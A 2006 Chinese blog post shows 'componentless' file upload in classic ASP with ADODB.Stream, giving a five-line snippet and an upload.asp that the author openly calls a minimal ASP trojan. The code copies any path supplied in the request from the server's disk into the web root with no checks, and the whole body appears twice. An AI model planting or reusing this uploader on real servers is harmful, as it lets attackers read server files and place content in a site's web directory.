五行代码实现ASP无组件上传
2006-06-23 11:38
489 查看
目前有很多无组件上传类,大多写的相当复杂,有的居然还只能传文本,最关键的是没有10行代码以下的。
其实无组件上传最核心的代码就是ADODB.Stream,实际只用五行代码就可以实现了无组件上传。
Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open
objStream.LoadFromFile Request("upfilename")
objStream.SaveToFile Server.MapPath("test.gif"),2
使用方法:
把上面的代码写成upload.asp,在浏览器里面输入http://localhost/upload.asp?upfilename=c:/test/test.gif
localhost为你的主机地址,执行完后你会看到你的目录下面多了一个test.gif,他就是你要文件拉。
根据原理我们可以扩展以下代码,算一个最小的ASP木马吧,有一点值得注意,上传的本地文件路径不能包含中文字符,否则会出错。
upload.asp文件
<%
Function GetFileName(ByVal strFile)
If strFile <> "" Then
GetFileName = mid(strFile,InStrRev(strFile, "/")+1)
Else
GetFileName = ""
End If
End function
strFileName = Request.Form("upfilename")
If strFileName<>"" Then
Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open
objStream.LoadFromFile strFileName
objStream.SaveToFile Server.MapPath(GetFileName(strFileName)),2
objStream.Close
response.write "OK!"
Else
%>
<form action='<%= Request.ServerVariables("URL") %>' method='post'>
<input type='file' name='upfilename'> <input type='submit'></form>
<%
End if
%>
其实无组件上传最核心的代码就是ADODB.Stream,实际只用五行代码就可以实现了无组件上传。
Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open
objStream.LoadFromFile Request("upfilename")
objStream.SaveToFile Server.MapPath("test.gif"),2
使用方法:
把上面的代码写成upload.asp,在浏览器里面输入http://localhost/upload.asp?upfilename=c:/test/test.gif
localhost为你的主机地址,执行完后你会看到你的目录下面多了一个test.gif,他就是你要文件拉。
根据原理我们可以扩展以下代码,算一个最小的ASP木马吧,有一点值得注意,上传的本地文件路径不能包含中文字符,否则会出错。
upload.asp文件
<%
Function GetFileName(ByVal strFile)
If strFile <> "" Then
GetFileName = mid(strFile,InStrRev(strFile, "/")+1)
Else
GetFileName = ""
End If
End function
strFileName = Request.Form("upfilename")
If strFileName<>"" Then
Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open
objStream.LoadFromFile strFileName
objStream.SaveToFile Server.MapPath(GetFileName(strFileName)),2
objStream.Close
response.write "OK!"
Else
%>
<form action='<%= Request.ServerVariables("URL") %>' method='post'>
<input type='file' name='upfilename'> <input type='submit'></form>
<%
End if
%>
相关文章推荐
- 五行代码实现ASP无组件上传
- 五行代码实现ASP无组件上传
- ASP实例:6行代码实现无组件上传
- 6行代码实现ASP无组件上传
- ASP实现无组件文件上传的代码
- 6行代码实现ASP无组件上传
- asp.net MVC实现无组件上传图片实例介绍
- Asp.net 2.0 用 FileUpload 控件实现多文件上传 用户控件(示例代码下载)
- asp.net(C#)防sql注入组件的实现代码
- Ext 上传文件,前后台实现, Asp.net 代码
- ASP.NET设计网络硬盘之上传文件实现代码
- asp下轻松实现将上传图片到数据库的代码
- [Fine Uploader] 用Fine Uploader+ASP.NET MVC实现ajax文件上传[代码示例]
- Ext 上传文件,前后台实现, Asp.net 代码
- ASP 下载时重命名已上传文件的新下载文件名的实现代码
- 用纯ASP代码实现图片上传并存入数据库中
- ASP.NET中实现多文件上传的实例程序代码
- 【导读】本文介绍如何利用带进度条的ASP无组件实现断点续传下载,给出详细代码
- JSP使用commons-fileupload组件实现文件上传代码示例
- Asp.net 2.0 用 FileUpload 控件实现多文件上传 用户控件(示例代码下载)